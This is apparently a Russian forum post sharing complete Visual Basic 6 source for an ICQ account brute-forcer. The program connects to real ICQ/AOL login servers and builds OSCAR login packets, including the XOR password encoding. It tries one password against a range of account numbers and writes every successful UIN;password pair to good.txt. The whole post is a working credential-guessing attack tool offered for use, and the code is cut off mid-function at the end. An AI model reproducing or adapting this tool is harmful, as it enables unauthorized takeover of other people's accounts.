На VB
PHP код:
Option Explicit 'отключаем автодекларацию переменных
Const BRUTE_INTERVAL = 2000 'таймаут между попытками перебора пароля в мс
Const ICQ_PORT = 5190 'icq порт
Const SRV_COUNT = 6 'Количество ICQ серверов
Dim Icq_SRV(1 To SRV_COUNT) As String 'Массив ICQ серверов
Dim Current_SRV As Byte 'Хранит номер текущего ICQ сервера из массива ICQ_SRV
Dim good, bad As Long 'Удалос подобрать/неудалос подобрать пасс
' // это для работы сборщика пакетов //
Dim cli As Boolean 'Флаг, буыер сборки пуст-false,буфер заполняется-true
Dim Flen, Mlen As Long 'Длина буфера/сколько уже собрано
Dim MainBuff As String 'Сам буфер
Private Sub Form_Load() 'загрузка формы
Dim buff As String 'Буфер для чтения файла
Timer.Enabled = False 'отключаем таймер
Timer.Interval = BRUTE_INTERVAL 'задаём интервал таймера
Command1.Enabled = True 'Включаем кнопочку Стоп
Command2.Enabled = False 'Выключаем кнопочку Старт
'Загрузим сохранённые настройкм
If Dir(App.Path & "\settings.txt") <> "" Then 'Если файл с настройками есть
Open App.Path & "\settings.txt" For Input As #1 'Открываем его
Line Input #1, buff 'Читаем строку
Text2 = buff 'Пишем в TextBox её содержимое
Line Input #1, buff 'Читаем строку
Text3 = buff 'Пишем в TextBox её содержимое
Line Input #1, buff 'Читаем строку
Text4 = buff 'Пишем в TextBox её содержимое
Close #1 'Закрываем файл
End If 'Конец условия
' // заполним массив ICQ серверов //
Icq_SRV(1) = "login.icq.com"
Icq_SRV(2) = "login.oscar.aol.com"
Icq_SRV(3) = "ibucp-vip-d.blue.aol.com"
Icq_SRV(4) = "ibucp-vip-m.blue.aol.com"
Icq_SRV(5) = "bucp2-vip-m.blue.aol.com"
Icq_SRV(6) = "bucp-m08.blue.aol.com"
Current_SRV = 1 'Установим номер текущего сервера - 1
good = 0 'Обнулим счётчик GOOD-UIN'ов
bad = 0 'Обнулим счётчик BAD-UIN'ов
End Sub
Private Sub Command1_Click() 'Кнопка Старт
If Val(Text2) >= Val(Text3) Then Exit Sub 'Если ОТ меньше чем ДО то едем далее
Command1.Enabled = False 'вырубаем кнопку старт
Command2.Enabled = True 'Врубаем кнопку стоп
Open App.Path & "\good.txt" For Append As #1 'открываем файл №1 для записи туда good
Open App.Path & "\bad.txt" For Append As #2 'открываем файл №2 для записи туда bad
Timer.Enabled = True 'Включаем таймер
End Sub
Private Sub Timer_Timer() 'Таймерчег
socket.CloseConnection 'закрываем соединение
socket.Connect Icq_SRV(Current_SRV), ICQ_PORT 'коннектимся к Autorization-server
Current_SRV = Current_SRV + 1 'меняем сервер
If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 'проверим, ес сервера закончилис, то по новой
End Sub
Private Sub Command2_Click() 'кнопка Стоп
Timer.Enabled = False 'Вырубаем таймер
Text1 = "" 'Чистим Text1
good = 0 'обнуляем гуд
bad = 0 'обнуляем бад
Close #1 'закрываем файл с гуд
Close #2 'закрываем файл с бад
Command1.Enabled = True 'врубаем кнопку старт
Command2.Enabled = False 'вырубаем кнопку стоп
End Sub
Private Sub socket_DataArrival(data As String) 'Если к нам пришли данные
If cli = False Then 'Если буфер пуст
Flen = GetFlapLen(data) 'определим длину флэпа
Mlen = Flen + 6 'добавляем к длине длину 6-байтового заголовка флэпа
cli = True 'включаем сбор пакетов
MainBuff = data 'записываем первую порцию байт в буфер
Else 'если сбор включен
MainBuff = MainBuff + data 'добавим пакет к буферу
Mlen = Mlen + Len(data) 'увеличим длину собранного
End If
'проверим, не пора ли прекратить сбор пакетов
If Mlen = Flen + 6 Then 'Если принято столько сколько должно быть(весь флэп-пакет)
cli = False 'выключаем сборщег
Flen = 0 'обнуляем счётчег длины
Do 'прочекаем принятое на предмет флэпов (их там многа может быть)
Flen = GetFlapLen(MainBuff) + 6 'смотрим длину
FLAPPER (Mid$(MainBuff, 1, Flen)) 'отправляем флэп во флаппер(процедура обработки)
MainBuff = Mid$(MainBuff, Flen + 1, Len(MainBuff) - Flen) 'отсекаем от буфера отправленный косочег
Loop Until Len(MainBuff) = 0 'делаем пока буфер не опустошим
MainBuff = "" ' на всёкий случай xD
End If
End Sub
Private Sub FLAPPER(fData As String) 'Обработчег FLAP-пакетов
Dim snac, pack, UIN, PASS As String 'строковые переменные
If GetByte(fData, 2) = 1 Then 'если канал первый
fData = GetFlapData(fData) 'Получаем содержимое флэпа
If str2hex(fData) = "00000001" Then 'если пришол hello-пакет
PASS = Text4 'Запоминаем текущий PASS
UIN = Text2 'Запоминаем текущий UIN
snac = hex2str("00000001") 'Формируем SNAC логина
snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN 'TLV01
snac = snac + hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS) 'TLV02
snac = snac + hex2str("0003008") & "ICQbasic" 'клиент
snac = snac + hex2str("00160002010A") '16й TLV
snac = snac + hex2str("001700020018") 'нижняя граница версии протокола
snac = snac + hex2str("001800020025") 'верхняя граница версии протокола
snac = snac + hex2str("001900020001") '
snac = snac + hex2str("001A00020E90") '
snac = snac + hex2str("0014000400000055") '
snac = snac + hex2str("000F0002656E") 'язык (EN)
snac = snac + hex2str("000E00027573") 'местонахождение(US)
pack = hex2str("2A01") + Word2Str(Rnd * 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина
socket.SendData (pack) 'Отсылаем FLAP логина
End If
End If
If GetByte(fData, 2) = 4 Then 'Если канал чётвёртый
fData = GetFlapData(fData) 'Получаем содержимое флэпа
If GetByte(fData, 2) = &H8E Then 'Ес удачно подобради
good = good + 1 'добавляем good
Print #1, Text2 & ";" & Text4 'пишкм в good.txt этот uin;pass
incUIN 'ставим в текствокс следующий нумер
End If
If GetByte(fData, 2) = 1 Then 'Если серв постал нас с таким uin;pass
bad = bad + 1 'Прибавляем bad
Print #2, Text2 & ";" & Text4 'пишем в bad.txt этот uin;pass
incUIN 'ставим в текстбокс следующий нум
End If
End If
'Пишем статистику в Text1
Text1 = "Server: " & Icq_SRV(Current_SRV) & vbCrLf & _
"good: " & good & vbCrLf & _
"bad: " & bad
End Sub
Private Sub incUIN() 'увеличивает UIN на 1
Text2 = Val(Text2) + 1
If Text2 = Text3 Then 'если пора остановится
Command2_Click 'Эмулируем нажатие на стоп
MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." 'Сообщение
End If
End Sub
Private Sub Command3_Click() 'Кнопка Exit
Form_Unload (0) 'Эмулируем закрытие
End Sub
Private Sub Form_Unload(Cancel As Integer) 'Закрытие
Command2_Click 'эмулируем нажатие на Стоп
Open App.Path & "\settings.txt" For Output As #1 'Пишем настройки в файл settings.txt
Print #1, Text2
Print #1, Text3
Print #1, Text4
Close #1
End 'Закрываемся
End Sub
'--------------------- вспомогательные функции ---------------
Private Function hex2str(ByVal data As String) As String 'Переводит набор типа "00FF3E" в строку
Dim i As Integer
For i = 1 To Len(data) Step 2
hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2)))
Next i
End Function
Private Function str2hex(ByVal Txt As String) As String 'Переводит байты строки в набор типа "АА3А00"
Dim i As Integer
Dim buff As String
For i = 1 To Len(Txt)
buff = Hex(GetByte(Txt, i))
If Len(buff) = 1 Then buff = "0" & buff
str2hex = str2hex & buff
Next i
End Function
Private Function GetFlapLen(flapdata As String) As Long 'Возвращает длину FLAP-пакета
Dim HexBuff As String
Dim byte1 As String * 2
Dim byte2 As String * 2
If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00"
If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00"
HexBuff = "&H" & byte1 & byte2
GetFlapLen = Val(HexBuff)
End Function
Private Function GetByte(Txt As String, num As Integer) As Byte 'возвращает значение какого-либа байта какой-либо строки
GetByte = Asc(Mid$(Txt, num, 1))
End Function
Private Function GetFlapData(flapdata As String) As String 'Возврящает содержимое FLAP-пакета (отрезает заголовок)
GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6)
End Function
Private Function CalcPass(ByVal PASS As String) As String 'Делает XOR - пароль
Dim passarr(1 To 16) As Byte
Dim i As Byte
passarr(1) = &HF3
passarr(2) = &H26
passarr(3) = &H81
passarr(4) = &HC4
passarr(5) = &H39
passarr(6) = &H86
passarr(7) = &HDB
passarr(8) = &H92
passarr(9) = &H71
passarr(10) = &HA3
passarr(11) = &HB9
passarr(12) = &HE6
passarr(13) = &H53
passarr(14) = &H7A
passarr(15) = &H95
passarr(16) = &H7C
CalcPass = ""
For i = 1 To Len(PASS)
CalcPass = CalcPass & Chr(Asc(Mid$(PASS, i, 1)) Xor passarr(i))
Next i
End Function
Private Function GetHEX(ByVal Txt As String) As String 'Делает из байтов строки запись вида "00 АА А3 FF"
Dim i As Integer
Dim buff As String
For i = 1 To Len(Txt)
buff = Hex(GetByte(Txt, i))
If Len(buff) = 1 Then buff = "0" & buff
GetHEX = GetHEX & buff & " "
Next i
End Function
Private Function Word2Str(data As Long) As String 'Переводит 2-байтовую переменную в запись типа "0001"
Dim i As Integer
Dim buff As String
buff = Hex(data)
If Len(buff) = 1 Then buff = "000" + buff
If Len(buff) = 2 Then buff = "00" + buff
If Len(buff) = 3 Then buff = "0" + buff
Word2Str = Chr(Val("&H" & Mid$(buff, 1, 2))) + Chr(Val("&H" & Mid$(buff, 3, 2)))
© karas |
